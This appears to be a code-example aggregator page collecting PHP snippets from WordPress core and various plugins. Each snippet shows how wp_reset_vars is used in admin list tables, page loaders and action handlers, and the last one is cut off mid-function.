public static function hack_template_save()
 {
     wp_reset_vars(array('action'));
     if (isset($_GET['post'])) {
         $post_id = $post_ID = (int) $_GET['post'];
     } elseif (isset($_POST['post_ID'])) {
         $post_id = $post_ID = (int) $_POST['post_ID'];
     } else {
         $post_id = $post_ID = 0;
     }
     $post = $post_type = $post_type_object = null;
     if ($post_id) {
         $post = get_post($post_id);
     }
     $post_type = $post ? $post->post_type : (isset($_REQUEST['post_type']) ? $_REQUEST['post_type'] : false);
     if (!$post_type) {
         return;
     }
     if ($post_type !== 'page') {
         return;
     }
     if (!isset($_REQUEST['page_template'])) {
         return;
     }
     update_post_meta($post->ID, '_wp_page_template', $_REQUEST['page_template']);
     unset($_REQUEST['page_template']);
 }
Пример #2
0
 function prepare_items()
 {
     global $status, $totals, $page, $orderby, $order, $s, $m, $mode;
     wp_reset_vars(array('orderby', 'order', 's', 'm'));
     $q = $where = array();
     $mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : 'list';
     $order = $order == 'asc' ? 'ASC' : 'DESC';
     $screen = get_current_screen();
     $totals = wowslider_get('totals');
     $this->items = array();
     $sliders_per_page = $this->get_items_per_page(str_replace('-', '_', $screen->id . '_per_page'), 10);
     if ($orderby && !in_array($orderby, array('name', 'code', 'author', 'date'))) {
         $orderby = '';
     }
     $q['sort'] = $orderby ? ($orderby == 'code' ? 'ID' : 'slider_' . $orderby) . ' ' . $order : 'ID DESC';
     $q['page'] = (int) $page;
     $q['count'] = $sliders_per_page;
     if (isset($_GET['author'])) {
         $where[] = 'slider_author = ' . (int) $_GET['author'];
     }
     if (trim($s)) {
         $q['search'] = trim($s);
     }
     if (strlen($m) == 6) {
         $q['year'] = (int) substr($m, 0, 4);
         $q['month'] = (int) substr($m, 4, 2);
     }
     $where[] = 'slider_public = ' . ($status == 'published' ? 1 : 0);
     if ($where) {
         $q['where'] = implode(' AND ', $where);
     }
     $this->items = wowslider_get($q);
     $this->set_pagination_args(array('total_items' => wowslider_get('count'), 'per_page' => $sliders_per_page));
 }
Пример #3
0
 function management_page_load()
 {
     require_once WP_POLLDADDY__POLLDADDY_CLIENT_PATH;
     $is_POST = 'post' == strtolower($_SERVER['REQUEST_METHOD']);
     wp_reset_vars(array('action', 'page'));
     global $action, $page;
     $this->set_api_user_code();
     if ($page == 'polls') {
         switch ($action) {
             case 'update-options':
                 if (!$is_POST) {
                     return;
                 }
                 if ($this->is_admin) {
                     check_admin_referer('polldaddy-account');
                     $polldaddy = $this->get_client(WP_POLLDADDY__PARTNERGUID, $this->user_code);
                     $polldaddy->reset();
                     $polldaddy_sync_account = 0;
                     $polldaddy_multiple_accounts = 0;
                     $polldaddy_load_poll_inline = 0;
                     if (isset($_POST['polldaddy-sync-account'])) {
                         $polldaddy_sync_account = (int) $_POST['polldaddy-sync-account'];
                     }
                     if ($polldaddy_sync_account > 0) {
                         $this->log('management_page_load: sync usercode');
                         $this->rating_user_code = '';
                         update_option('pd-rating-usercode', '');
                         $this->set_api_user_code();
                     }
                     if (isset($_POST['polldaddy-multiple-accounts'])) {
                         $polldaddy_multiple_accounts = (int) $_POST['polldaddy-multiple-accounts'];
                     }
                     if (isset($_POST['polldaddy-load-poll-inline'])) {
                         $polldaddy_load_poll_inline = (int) $_POST['polldaddy-load-poll-inline'];
                     }
                     $partner = array('role' => $polldaddy_multiple_accounts);
                     $polldaddy->update_partner_account($partner);
                     update_option('polldaddy_multiple_accounts', $polldaddy_multiple_accounts);
                     update_option('polldaddy_load_poll_inline', $polldaddy_load_poll_inline);
                     $rating_title_filter = '';
                     if (isset($_POST['polldaddy-ratings-title-filter'])) {
                         $rating_title_filter = sanitize_text_field($_POST['polldaddy-ratings-title-filter']);
                     }
                     update_option('pd-rating-title-filter', $rating_title_filter);
                 }
                 break;
         }
         //end switch
     }
     global $parent_file, $submenu_file, $typenow;
     //need to set this to make sure that menus behave properly
     if (in_array($action, array('options', 'update-rating'))) {
         $parent_file = 'options-general.php';
         $submenu_file = $page . '&action=options';
     } else {
         add_filter('admin_title', array(&$this, 'admin_title'));
         $submenu_file = $page;
     }
     parent::management_page_load();
 }
Пример #4
0
 function get_user()
 {
     global $user_id;
     wp_reset_vars(array('user_id'));
     //get ID of user being edited if not editing own profile
     return isset($user_id) && $user_id > 0 ? new WP_User((int) $user_id) : wp_get_current_user();
 }
 function prepare_items()
 {
     include ABSPATH . 'wp-admin/includes/plugin-install.php';
     global $tabs, $tab, $paged, $type, $term;
     wp_reset_vars(array('tab'));
     $paged = $this->get_pagenum();
     $per_page = 30;
     // These are the tabs which are shown on the page
     $tabs = array();
     $tabs['dashboard'] = __('Search');
     if ('search' == $tab) {
         $tabs['search'] = __('Search Results');
     }
     $tabs['featured'] = _x('Featured', 'Plugin Installer');
     $tabs['popular'] = _x('Popular', 'Plugin Installer');
     $tabs['new'] = _x('Newest', 'Plugin Installer');
     $nonmenu_tabs = array('plugin-information');
     //Valid actions to perform which do not have a Menu item.
     $tabs = apply_filters('install_plugins_tabs', $tabs);
     $nonmenu_tabs = apply_filters('install_plugins_nonmenu_tabs', $nonmenu_tabs);
     // If a non-valid menu tab has been selected, And its not a non-menu action.
     if (empty($tab) || !isset($tabs[$tab]) && !in_array($tab, (array) $nonmenu_tabs)) {
         $tab = key($tabs);
     }
     $args = array('page' => $paged, 'per_page' => $per_page);
     switch ($tab) {
         case 'search':
             $type = isset($_REQUEST['type']) ? stripslashes($_REQUEST['type']) : 'term';
             $term = isset($_REQUEST['s']) ? stripslashes($_REQUEST['s']) : '';
             switch ($type) {
                 case 'tag':
                     $args['tag'] = sanitize_title_with_dashes($term);
                     break;
                 case 'term':
                     $args['search'] = $term;
                     break;
                 case 'author':
                     $args['author'] = $term;
                     break;
             }
             add_action('install_plugins_table_header', 'install_search_form', 10, 0);
             break;
         case 'featured':
         case 'popular':
         case 'new':
             $args['browse'] = $tab;
             break;
         default:
             $args = false;
     }
     if (!$args) {
         return;
     }
     $api = plugins_api('query_plugins', $args);
     if (is_wp_error($api)) {
         wp_die($api->get_error_message() . '</p> <p class="hide-if-no-js"><a href="#" onclick="document.location.reload(); return false;">' . __('Try again') . '</a>');
     }
     $this->items = $api->plugins;
     $this->set_pagination_args(array('total_items' => $api->info['results'], 'per_page' => $per_page));
 }
 function prepare_items()
 {
     global $status, $themes, $totals, $page, $orderby, $order, $s;
     wp_reset_vars(array('orderby', 'order', 's'));
     $themes = array('all' => apply_filters('all_themes', get_themes()), 'search' => array(), 'enabled' => array(), 'disabled' => array(), 'upgrade' => array());
     $site_allowed_themes = get_site_allowed_themes();
     if (!$this->is_site_themes) {
         $allowed_themes = $site_allowed_themes;
         $themes_per_page = $this->get_items_per_page('themes_network_per_page');
     } else {
         $allowed_themes = wpmu_get_blog_allowedthemes($this->site_id);
         $themes_per_page = $this->get_items_per_page('site_themes_network_per_page');
     }
     $current = get_site_transient('update_themes');
     foreach ((array) $themes['all'] as $key => $theme) {
         $theme_key = $theme['Stylesheet'];
         if (isset($allowed_themes[$theme_key])) {
             $themes['all'][$key]['enabled'] = true;
             $themes['enabled'][$key] = $themes['all'][$key];
         } else {
             $themes['all'][$key]['enabled'] = false;
             $themes['disabled'][$key] = $themes['all'][$key];
         }
         if (isset($current->response[$theme['Template']])) {
             $themes['upgrade'][$key] = $themes['all'][$key];
         }
         if ($this->is_site_themes && isset($site_allowed_themes[$theme_key])) {
             unset($themes['all'][$key]);
             unset($themes['enabled'][$key]);
             unset($themes['disabled'][$key]);
         }
     }
     if (!current_user_can('update_themes') || $this->is_site_themes) {
         $themes['upgrade'] = array();
     }
     if ($s) {
         $status = 'search';
         $themes['search'] = array_filter($themes['all'], array(&$this, '_search_callback'));
     }
     $totals = array();
     foreach ($themes as $type => $list) {
         $totals[$type] = count($list);
     }
     if (empty($themes[$status]) && !in_array($status, array('all', 'search'))) {
         $status = 'all';
     }
     $this->items = $themes[$status];
     $total_this_page = $totals[$status];
     if ($orderby) {
         $orderby = ucfirst($orderby);
         $order = strtoupper($order);
         uasort($this->items, array(&$this, '_order_callback'));
     }
     $start = ($page - 1) * $themes_per_page;
     if ($total_this_page > $themes_per_page) {
         $this->items = array_slice($this->items, $start, $themes_per_page);
     }
     $this->set_pagination_args(array('total_items' => $total_this_page, 'per_page' => $themes_per_page));
 }
Пример #7
0
    function handle_repair_panel()
    {
        global $action, $page, $M_options;
        wp_reset_vars(array('action', 'page'));
        ?>
		<div class='wrap nosubsub'>
			<div class="icon32" id="icon-tools"><br></div>
			<h2><?php 
        _e('Repair Membership', 'membership');
        ?>
</h2>

			<?php 
        if (isset($_GET['msg'])) {
            echo '<div id="message" class="updated fade"><p>' . $messages[(int) $_GET['msg']] . '</p></div>';
            $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
        }
        ?>

			<p><?php 
        _e('If you are having problems with your membership site, or have recently upgraded and are seeing strange behaviour then try the membership check below to see if there are any issues with your table structure. Click on the repair button if you want to repair any issues found (back up your database first).', 'membership');
        ?>
</p>
			<p>
			<?php 
        echo "<a href='" . wp_nonce_url("?page=" . $page . "&amp;tab=advanced&amp;verify=yes", 'verify-membership') . "' class='button'>" . __('Verify Membership Tables', 'membership') . "</a>&nbsp;&nbsp;";
        ?>
			<?php 
        echo "<a href='" . wp_nonce_url("?page=" . $page . "&amp;tab=advanced&amp;repair=yes", 'repair-membership') . "' class='button'>" . __('Repair Membership Tables', 'membership') . "</a>";
        ?>
			</p>

			<?php 
        if (isset($_GET['verify'])) {
            check_admin_referer('verify-membership');
            include_once membership_dir('membershipincludes/classes/upgrade.php');
            ?>
					<p><strong><?php 
            _e('Verifying', 'membership');
            ?>
</strong></p>
					<?php 
            M_verify_tables();
        }
        if (isset($_GET['repair'])) {
            check_admin_referer('repair-membership');
            include_once membership_dir('membershipincludes/classes/upgrade.php');
            ?>
					<p><strong><?php 
            _e('Verifying and Repairing', 'membership');
            ?>
</strong></p>
					<?php 
            M_repair_tables();
        }
        ?>
		</div> <!-- wrap -->
		<?php 
    }
 /**
  *
  * @global string $status
  * @global array $totals
  * @global int $page
  * @global string $orderby
  * @global string $order
  * @global string $s
  */
 public function prepare_items()
 {
     global $status, $totals, $page, $orderby, $order, $s;
     wp_reset_vars(array('orderby', 'order', 's'));
     $themes = array('all' => apply_filters('all_themes', wp_get_themes()), 'search' => array(), 'enabled' => array(), 'disabled' => array(), 'upgrade' => array(), 'broken' => $this->is_site_themes ? array() : wp_get_themes(array('errors' => true)));
     if ($this->is_site_themes) {
         $themes_per_page = $this->get_items_per_page('site_themes_network_per_page');
         $allowed_where = 'site';
     } else {
         $themes_per_page = $this->get_items_per_page('themes_network_per_page');
         $allowed_where = 'network';
     }
     $maybe_update = current_user_can('update_themes') && !$this->is_site_themes && ($current = get_site_transient('update_themes'));
     foreach ((array) $themes['all'] as $key => $theme) {
         if ($this->is_site_themes && $theme->is_allowed('network')) {
             unset($themes['all'][$key]);
             continue;
         }
         if ($maybe_update && isset($current->response[$key])) {
             $themes['all'][$key]->update = true;
             $themes['upgrade'][$key] = $themes['all'][$key];
         }
         $filter = $theme->is_allowed($allowed_where, $this->site_id) ? 'enabled' : 'disabled';
         $themes[$filter][$key] = $themes['all'][$key];
     }
     if ($s) {
         $status = 'search';
         $themes['search'] = array_filter(array_merge($themes['all'], $themes['broken']), array($this, '_search_callback'));
     }
     $totals = array();
     foreach ($themes as $type => $list) {
         $totals[$type] = count($list);
     }
     if (empty($themes[$status]) && !in_array($status, array('all', 'search'))) {
         $status = 'all';
     }
     $this->items = $themes[$status];
     WP_Theme::sort_by_name($this->items);
     $this->has_items = !empty($themes['all']);
     $total_this_page = $totals[$status];
     wp_localize_script('updates', '_wpUpdatesItemCounts', array('themes' => $totals, 'totals' => wp_get_update_data()));
     if ($orderby) {
         $orderby = ucfirst($orderby);
         $order = strtoupper($order);
         if ($orderby === 'Name') {
             if ('ASC' === $order) {
                 $this->items = array_reverse($this->items);
             }
         } else {
             uasort($this->items, array($this, '_order_callback'));
         }
     }
     $start = ($page - 1) * $themes_per_page;
     if ($total_this_page > $themes_per_page) {
         $this->items = array_slice($this->items, $start, $themes_per_page, true);
     }
     $this->set_pagination_args(array('total_items' => $total_this_page, 'per_page' => $themes_per_page));
 }
Пример #9
0
 public function prepare_items()
 {
     require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
     global $tabs, $tab, $paged, $type, $term;
     wp_reset_vars(array('tab'));
     $paged = $this->get_pagenum();
     // These are the tabs which are shown on the page
     $tabs = array();
     $tabs['purchased'] = __('Purchased Plugins', 'wp-e-commerce');
     $tabs['yours'] = __('Your Plugins', 'wp-e-commerce');
     $nonmenu_tabs = array();
     //Valid actions to perform which do not have a Menu item.
     $tabs = apply_filters('install_plugins_tabs', $tabs);
     $nonmenu_tabs = apply_filters('install_plugins_nonmenu_tabs', $nonmenu_tabs);
     // If a non-valid menu tab has been selected, and its not a non-menu action.
     if (empty($tab) || !isset($tabs[$tab]) && !in_array($tab, (array) $nonmenu_tabs)) {
         $tab = key($tabs);
     }
     $args = array();
     try {
         switch ($tab) {
             case 'yours':
                 add_filter('sputnik_install_row_action_links', array(__CLASS__, 'mangle_action_for_own'), 10, 2);
                 add_filter('sputnik_install_grid_action_links', array(__CLASS__, 'mangle_action_for_own'), 10, 2);
                 $api = Sputnik_API::get_own();
                 break;
             default:
             case 'purchased':
                 $api = Sputnik_API::get_purchased();
                 break;
         }
     } catch (Exception $e) {
         $this->connect_error = true;
         return false;
     }
     if (!empty($_REQUEST['view'])) {
         switch ($_REQUEST['view']) {
             case 'grid':
             case 'list':
                 $this->view = $_REQUEST['view'];
                 break;
             default:
                 $this->view = 'grid';
                 break;
         }
     } else {
         $this->view = 'grid';
     }
     $this->items = $api['body'];
     if (isset($api['headers']['x-pagecount'])) {
         $this->set_pagination_args(array('total_items' => $api['headers']['x-pagecount'], 'per_page' => 30));
     }
 }
 public function __construct($base)
 {
     $this->base = $base;
     $this->admin = $base->admin;
     $this->referer = $this->admin->get_referer();
     if ('' != wp_get_original_referer()) {
         $this->referer = wp_get_original_referer();
     }
     $this->referer = remove_query_arg(array('approved', 'unapproved', 'spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids'), $this->referer);
     global $action;
     wp_reset_vars(array('action'));
     if ('cdc' == $action) {
         $action = 'delete';
     } elseif ('mac' == $action) {
         $action = 'approve';
     }
     if (isset($_GET['dt'])) {
         if ('spam' == $_GET['dt']) {
             $action = 'spam';
         } elseif ('trash' == $_GET['dt']) {
             $action = 'trash';
         }
     }
     switch ($action) {
         case 'spam':
         case 'approve':
         case 'delete':
         case 'trash':
             $this->confirm($action);
             break;
         case 'editcomment':
             $this->edit_form();
             break;
         case 'deletecomment':
         case 'trashcomment':
         case 'untrashcomment':
         case 'spamcomment':
         case 'unspamcomment':
             $this->delete_comment($action);
             exit;
         case 'approvecomment':
         case 'unapprovecomment':
             $this->approve_comment($action);
             exit;
         case 'editedcomment':
             $this->edited_comment();
             exit;
         default:
             break;
     }
 }
Пример #11
0
 function __construct()
 {
     global $post_type, $taxonomy, $tax;
     wp_reset_vars(array('action', 'taxonomy', 'post_type'));
     if (empty($taxonomy)) {
         $taxonomy = 'post_tag';
     }
     if (!taxonomy_exists($taxonomy)) {
         wp_die(__('Invalid taxonomy'));
     }
     $tax = get_taxonomy($taxonomy);
     if (empty($post_type) || !in_array($post_type, get_post_types(array('show_ui' => true)))) {
         $post_type = 'post';
     }
     parent::__construct(array('plural' => 'tags', 'singular' => 'tag'));
 }
 function WP_Terms_List_Table()
 {
     global $post_type, $taxonomy, $tax;
     wp_reset_vars(array('action', 'taxonomy', 'post_type'));
     if (empty($taxonomy)) {
         $taxonomy = 'post_tag';
     }
     if (!taxonomy_exists($taxonomy)) {
         wp_die(__('Invalid taxonomy'));
     }
     $tax = get_taxonomy($taxonomy);
     if (empty($post_type) || !in_array($post_type, get_post_types(array('public' => true)))) {
         $post_type = 'post';
     }
     parent::WP_List_Table(array('plural' => 'tags', 'singular' => 'tag'));
 }
Пример #13
0
 public function __construct($base)
 {
     $this->base = $base;
     $this->admin = $base->admin;
     global $action, $posts;
     wp_reset_vars(array('action', 'posts'));
     if (isset($_POST['deletepost'])) {
         $action = 'delete';
     } elseif (isset($_POST['selcats'])) {
         $action = 'selcats';
     }
     $this->sendback = $this->admin->get_referer();
     if (strpos($this->sendback, 'post.php') !== false || strpos($this->sendback, 'post-new.php') !== false) {
         $this->sendback = 'edit.php';
     } else {
         $this->sendback = remove_query_arg(array('trashed', 'untrashed', 'deleted', 'ids'), $this->sendback);
     }
     switch ($action) {
         case 'post':
             $this->post();
             exit;
         case 'edit':
             $this->edit();
             break;
         case 'editpost':
             $this->editpost();
             exit;
         case 'delete':
             $this->delete();
             exit;
         case 'trash':
             $this->trash();
             exit;
         case 'untrash':
             $this->untrash();
             exit;
         case 'selcats':
             $this->select_cats();
             break;
         case 'changecats':
             $this->change_cats();
             break;
         default:
             $this->admin->redirect('edit.php');
             exit;
     }
 }
 public function __construct($base)
 {
     $this->base = $base;
     $this->admin = $base->admin;
     global $action;
     wp_reset_vars(array('action'));
     switch ($action) {
         case 'post':
             $this->post_reply();
             break;
         default:
             if (isset($_GET['replytocom'])) {
                 $this->show_form();
             }
             break;
     }
 }
	/**
	 *
	 * @global int    $cat_id
	 * @global string $s
	 * @global string $orderby
	 * @global string $order
	 */
	public function prepare_items() {
		global $cat_id, $s, $orderby, $order;

		wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) );

		$args = array( 'hide_invisible' => 0, 'hide_empty' => 0 );

		if ( 'all' != $cat_id )
			$args['category'] = $cat_id;
		if ( !empty( $s ) )
			$args['search'] = $s;
		if ( !empty( $orderby ) )
			$args['orderby'] = $orderby;
		if ( !empty( $order ) )
			$args['order'] = $order;

		$this->items = get_bookmarks( $args );
	}
	function prepare_items() {
		global $cat_id, $s, $orderby, $order;

		wp_reset_vars( array( 'action', 'cat_id', 'linkurl', 'name', 'image', 'description', 'visible', 'target', 'category', 'link_id', 'submit', 'orderby', 'order', 'links_show_cat_id', 'rating', 'rel', 'notes', 'linkcheck[]', 's' ) );

		$args = array( 'hide_invisible' => 0, 'hide_empty' => 0 );

		if ( 'all' != $cat_id )
			$args['category'] = $cat_id;
		if ( !empty( $s ) )
			$args['search'] = $s;
		if ( !empty( $orderby ) )
			$args['orderby'] = $orderby;
		if ( !empty( $order ) )
			$args['order'] = $order;

		$this->items = get_bookmarks( $args );
	}
Пример #17
0
    function handle_communications_panel()
    {
        global $action, $page, $M_options;
        wp_reset_vars(array('action', 'page'));
        ?>
		<div class='wrap nosubsub'>
			<div class="icon32" id="icon-tools"><br></div>
			<h2><?php 
        _e('Run Communications', 'membership');
        ?>
</h2>

			<?php 
        if (isset($_GET['msg'])) {
            //echo '<div id="message" class="updated fade"><p>' . $messages[(int) $_GET['msg']] . '</p></div>';
            //$_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
        }
        ?>

			<p><?php 
        _e('You can run the communications process manually to test your messages.', 'membership');
        ?>
</p>
			<p>
			<?php 
        echo "<a href='" . wp_nonce_url("?page=" . $page . "&amp;tab=advanced&amp;comms=yes", 'run-comms') . "' class='button'>" . __('Run Communications', 'membership') . "</a>&nbsp;&nbsp;";
        ?>
			</p>

			<?php 
        if (isset($_GET['comms'])) {
            check_admin_referer('run-comms');
            M_Communication_process();
            ?>
					<p><strong><?php 
            _e('Communication process executed successfully.', 'membership');
            ?>
</strong></p>
					<?php 
        }
        ?>
		</div> <!-- wrap -->
		<?php 
    }
Пример #18
0
 public function prepare_items()
 {
     require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
     global $tabs, $tab, $paged, $type, $term;
     wp_reset_vars(array('tab'));
     $paged = $this->get_pagenum();
     // These are the tabs which are shown on the page
     $tabs = $this->parent->get_tabs();
     $nonmenu_tabs = array('account');
     //Valid actions to perform which do not have a Menu item.
     $tabs = apply_filters('install_plugins_tabs', $tabs);
     $nonmenu_tabs = apply_filters('install_plugins_nonmenu_tabs', $nonmenu_tabs);
     // If a non-valid menu tab has been selected, and its not a non-menu action.
     if (empty($tab) || !isset($tabs[$tab]) && !in_array($tab, (array) $nonmenu_tabs)) {
         $tab = key($tabs);
     }
     $args = array();
     $data = $this->parent->get_data($tab);
     $this->items = $data['items'];
     $this->set_pagination_args(array('total_items' => $data['pages'], 'per_page' => 30));
 }
Пример #19
0
 public function __construct($base)
 {
     $this->base = $base;
     $this->admin = $base->admin;
     global $action;
     wp_reset_vars(array('action'));
     if (isset($_POST['deletepost'])) {
         $action = "delete";
     }
     $this->sendback = $this->admin->get_referer();
     if (strpos($this->sendback, 'page.php') !== false || strpos($this->sendback, 'page-new.php') !== false) {
         $this->sendback = 'edit-pages.php';
     } else {
         $this->sendback = remove_query_arg(array('trashed', 'untrashed', 'deleted', 'ids'), $this->sendback);
     }
     switch ($action) {
         case 'post':
             $this->post();
             exit;
         case 'edit':
             $this->edit();
             break;
         case 'editpost':
             $this->editpost();
             exit;
         case 'delete':
             $this->delete();
             exit;
         case 'trash':
             $this->trash();
             exit;
         case 'untrash':
             $this->untrash();
             exit;
         default:
             $this->redirect('edit-pages.php');
             exit;
     }
     // end switch
 }
Пример #20
0
 function management_page_load()
 {
     require_once WP_POLLDADDY__POLLDADDY_CLIENT_PATH;
     $is_POST = 'post' == strtolower($_SERVER['REQUEST_METHOD']);
     wp_reset_vars(array('action', 'page'));
     global $action, $page;
     $this->set_api_user_code();
     if ($page == 'polls') {
         switch ($action) {
             case 'update-options':
                 if (!$is_POST) {
                     return;
                 }
                 if ($this->is_admin) {
                     check_admin_referer('polldaddy-account');
                     $polldaddy = $this->get_client(WP_POLLDADDY__PARTNERGUID, $this->user_code);
                     $polldaddy->reset();
                     $polldaddy_sync_account = 0;
                     $polldaddy_multiple_accounts = 0;
                     if (isset($_POST['polldaddy-sync-account'])) {
                         $polldaddy_sync_account = (int) $_POST['polldaddy-sync-account'];
                     }
                     if ($polldaddy_sync_account > 0) {
                         $this->rating_user_code = '';
                         update_option('pd-rating-usercode', '');
                         $this->set_api_user_code();
                     }
                     if (isset($_POST['polldaddy-multiple-accounts'])) {
                         $polldaddy_multiple_accounts = (int) $_POST['polldaddy-multiple-accounts'];
                     }
                     $partner = array('role' => $polldaddy_multiple_accounts);
                     $polldaddy->update_partner_account($partner);
                     update_option('polldaddy_multiple_accounts', $polldaddy_multiple_accounts);
                 }
                 break;
         }
     }
     parent::management_page_load();
 }
Пример #21
0
<?php

/**
 * Edit user administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** WordPress Administration Bootstrap */
require_once dirname(__FILE__) . '/admin.php';
wp_reset_vars(array('action', 'user_id', 'wp_http_referer'));
$user_id = (int) $user_id;
$current_user = wp_get_current_user();
if (!defined('IS_PROFILE_PAGE')) {
    define('IS_PROFILE_PAGE', $user_id == $current_user->ID);
}
if (!$user_id && IS_PROFILE_PAGE) {
    $user_id = $current_user->ID;
} elseif (!$user_id && !IS_PROFILE_PAGE) {
    wp_die(__('Invalid user ID.'));
} elseif (!get_userdata($user_id)) {
    wp_die(__('Invalid user ID.'));
}
wp_enqueue_script('user-profile');
$title = IS_PROFILE_PAGE ? __('Profile') : __('Edit User');
if (current_user_can('edit_users') && !IS_PROFILE_PAGE) {
    $submenu_file = 'users.php';
} else {
    $submenu_file = 'profile.php';
}
if (current_user_can('edit_users') && !is_user_admin()) {
Пример #22
0
    get_current_screen()->add_help_tab(array('id' => 'adding-themes', 'title' => __('Adding Themes'), 'content' => $help_install));
}
// install_themes
// Help tab: Previewing and Customizing
if (current_user_can('edit_theme_options') && current_user_can('customize')) {
    $help_customize = '<p>' . __('Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.') . '</p>' . '<p>' . __('The theme being previewed is fully interactive &mdash; navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Save &amp; Activate button above the menu.') . '</p>' . '<p>' . __('When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.') . '</p>';
    get_current_screen()->add_help_tab(array('id' => 'customize-preview-themes', 'title' => __('Previewing and Customizing'), 'content' => $help_customize));
}
// edit_theme_options && customize
get_current_screen()->set_help_sidebar('<p><strong>' . __('For more information:') . '</strong></p>' . '<p>' . __('<a href="https://codex.wordpress.org/Using_Themes" target="_blank">Documentation on Using Themes</a>') . '</p>' . '<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>');
if (current_user_can('switch_themes')) {
    $themes = wp_prepare_themes_for_js();
} else {
    $themes = wp_prepare_themes_for_js(array(wp_get_theme()));
}
wp_reset_vars(array('theme', 'search'));
wp_localize_script('theme', '_wpThemeSettings', array('themes' => $themes, 'settings' => array('canInstall' => !is_multisite() && current_user_can('install_themes'), 'installURI' => !is_multisite() && current_user_can('install_themes') ? admin_url('theme-install.php') : null, 'confirmDelete' => __("Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete."), 'adminUrl' => parse_url(admin_url(), PHP_URL_PATH)), 'l10n' => array('addNew' => __('Add New Theme'), 'search' => __('Search Installed Themes'), 'searchPlaceholder' => __('Search installed themes...'), 'themesFound' => __('Number of Themes found: %d'), 'noThemesFound' => __('No themes found. Try a different search.'))));
add_thickbox();
wp_enqueue_script('theme');
wp_enqueue_script('customize-loader');
require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
	<h2><?php 
esc_html_e('Themes');
?>
		<span class="title-count theme-count"><?php 
echo count($themes);
?>
</span>
 /**
  * Setup the final data for the table
  *
  * @access public
  * @since 1.4
  * @uses EDD_Payment_History_Table::get_columns()
  * @uses EDD_Payment_History_Table::get_sortable_columns()
  * @uses EDD_Payment_History_Table::payments_data()
  * @uses WP_List_Table::get_pagenum()
  * @uses WP_List_Table::set_pagination_args()
  * @return void
  */
 public function prepare_items()
 {
     wp_reset_vars(array('action', 'payment', 'orderby', 'order', 's'));
     $columns = $this->get_columns();
     $hidden = array();
     // No hidden columns
     $sortable = $this->get_sortable_columns();
     $data = $this->payments_data();
     $status = isset($_GET['status']) ? $_GET['status'] : 'any';
     $this->_column_headers = array($columns, $hidden, $sortable);
     switch ($status) {
         case 'publish':
             $total_items = $this->complete_count;
             break;
         case 'pending':
             $total_items = $this->pending_count;
             break;
         case 'refunded':
             $total_items = $this->refunded_count;
             break;
         case 'failed':
             $total_items = $this->failed_count;
             break;
         case 'revoked':
             $total_items = $this->revoked_count;
             break;
         case 'abandoned':
             $total_items = $this->abandoned_count;
             break;
         case 'any':
             $total_items = $this->total_count;
             break;
         default:
             // Retrieve the count of the non-default-EDD status
             $count = wp_count_posts('edd_payment');
             $total_items = $count->{$status};
     }
     $this->items = $data;
     $this->set_pagination_args(array('total_items' => $total_items, 'per_page' => $this->per_page, 'total_pages' => ceil($total_items / $this->per_page)));
 }
Пример #24
0
<?php

/**
 * Media management action handler.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** Load WordPress Administration Bootstrap */
require_once './admin.php';
$parent_file = 'upload.php';
$submenu_file = 'upload.php';
wp_reset_vars(array('action'));
switch ($action) {
    case 'editattachment':
        $attachment_id = (int) $_POST['attachment_id'];
        check_admin_referer('media-form');
        if (!current_user_can('edit_post', $attachment_id)) {
            wp_die(__('You are not allowed to edit this attachment.'));
        }
        $errors = media_upload_form_handler();
        if (empty($errors)) {
            $location = 'media.php';
            if ($referer = wp_get_original_referer()) {
                if (false !== strpos($referer, 'upload.php') || url_to_postid($referer) == $attachment_id) {
                    $location = $referer;
                }
            }
            if (false !== strpos($location, 'upload.php')) {
                $location = remove_query_arg('message', $location);
                $location = add_query_arg('posted', $attachment_id, $location);
Пример #25
0
     * @since 2.8
     */
    do_action('after_db_upgrade');
} elseif (get_option('db_version') != $wp_db_version) {
    wp_redirect(admin_url('upgrade.php?_wp_http_referer=' . urlencode(stripslashes($_SERVER['REQUEST_URI']))));
    exit;
}
require_once ABSPATH . 'wp-admin/includes/admin.php';
auth_redirect();
nocache_headers();
update_category_cache();
set_screen_options();
$posts_per_page = get_option('posts_per_page');
$date_format = get_option('date_format');
$time_format = get_option('time_format');
wp_reset_vars(array('profile', 'redirect', 'redirect_url', 'a', 'popuptitle', 'popupurl', 'text', 'trackback', 'pingback'));
wp_admin_css_color('classic', __('Blue'), admin_url("css/colors-classic.css"), array('#073447', '#21759B', '#EAF3FA', '#BBD8E7'));
wp_admin_css_color('fresh', __('Gray'), admin_url("css/colors-fresh.css"), array('#464646', '#6D6D6D', '#F1F1F1', '#DFDFDF'));
wp_enqueue_script('common');
wp_enqueue_script('jquery-color');
$editing = false;
if (isset($_GET['page'])) {
    $plugin_page = stripslashes($_GET['page']);
    $plugin_page = plugin_basename($plugin_page);
}
require ABSPATH . 'wp-admin/menu.php';
do_action('admin_init');
// Handle plugin admin pages.
if (isset($plugin_page)) {
    if (!($page_hook = get_plugin_page_hook($plugin_page, $pagenow))) {
        $page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
	function prepare_items() {
		include( ABSPATH . 'wp-admin/includes/theme-install.php' );

		global $tabs, $tab, $paged, $type, $term, $theme_field_defaults;

		wp_reset_vars( array( 'tab' ) );

		$paged = $this->get_pagenum();

		$per_page = 30;

		// These are the tabs which are shown on the page,
		$tabs = array();
		$tabs['dashboard'] = __( 'Search' );
		if ( 'search' == $tab )
			$tabs['search']	= __( 'Search Results' );
